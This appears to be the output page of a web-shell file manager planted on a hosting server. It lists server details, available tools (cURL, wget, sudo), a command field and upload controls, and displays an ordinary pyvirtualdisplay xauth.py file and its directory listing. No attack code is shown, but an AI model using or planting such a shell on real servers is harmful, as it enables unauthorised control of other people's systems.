GRAYBYTE WORDPRESS FILE MANAGER9097

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/pyvirtualdisplay/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/pyvirtualdisplay//xauth.py
"""Utility functions for xauth."""
import hashlib
import os
import subprocess


class NotFoundError(Exception):
    """Error when xauth was not found."""


def is_installed():
    """
    Return whether or not xauth is installed.
    """
    try:
        xauth = subprocess.Popen(
            ["xauth", "-V"],
            # env=self._env(),
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )
        _, _ = xauth.communicate()
        # p = EasyProcess(["xauth", "-V"])
        # p.enable_stdout_log = False
        # p.enable_stderr_log = False
        # p.call()
    except FileNotFoundError:
        return False
    else:
        return True


def generate_mcookie():
    """
    Generate a cookie string suitable for xauth.
    """
    data = os.urandom(16)  # 16 bytes = 128 bit
    return hashlib.md5(data).hexdigest()


def call(*args):
    """
    Call xauth with the given args.
    """
    xauth = subprocess.Popen(
        ["xauth"] + list(args),
        # env=self._env(),
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    _, _ = xauth.communicate()
    # EasyProcess(["xauth"] + list(args)).call()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 25 2025 08:31:36
root / root
0755
__pycache__
--
May 15 2025 08:30:34
root / root
0755
examples
--
May 15 2025 08:30:34
root / root
0755
__init__.py
0.235 KB
April 17 2025 13:10:58
root / root
0644
about.py
0.02 KB
April 17 2025 13:10:58
root / root
0644
abstractdisplay.py
12.288 KB
April 17 2025 13:10:58
root / root
0644
display.py
3.181 KB
April 17 2025 13:10:58
root / root
0644
py.typed
0 KB
April 17 2025 13:10:58
root / root
0644
smartdisplay.py
2.601 KB
April 17 2025 13:10:58
root / root
0644
util.py
0.475 KB
April 17 2025 13:10:58
root / root
0644
xauth.py
1.14 KB
April 17 2025 13:10:58
root / root
0644
xephyr.py
1.597 KB
April 17 2025 13:10:58
root / root
0644
xvfb.py
1.896 KB
April 17 2025 13:10:58
root / root
0644
xvnc.py
1.872 KB
April 17 2025 13:10:58
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF